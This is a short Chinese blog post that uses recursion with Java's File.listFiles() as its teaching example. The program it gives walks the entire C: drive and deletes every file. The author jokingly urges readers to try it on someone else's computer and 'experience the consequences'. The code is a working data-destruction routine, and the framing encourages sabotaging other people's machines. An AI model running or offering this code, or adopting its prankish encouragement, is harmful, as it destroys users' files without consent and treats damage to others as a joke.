以下程序功能为:删除指定目录下的所有文件!
在我的博客:JavaIO之File类 中最后介绍到listFiles()方法,但是这个方法只能够列出本目录中的第一级信息,如果要求列出目录中的所有级的信息,必须自己通过递归的方式进行处理。所以可以通过递归当前目录列出所有文件从而删除当前目录所有文件。
下面进行皮操作,欢迎拿别人的电脑进行大胆实验:
import java.io.File;
public class Test {
public static void main(String[] args){
File file = new File("C:");
allList(file);
}
public static void allList(File file)
{
if(file.isDirectory())
{
File[] result =file.listFiles();
if(result!=null)
{
for(File file2 : result) {
allList(file2);
}
}
}else {
file.delete();
}
}
}
后果自行体验!(哈哈哈哈哈~)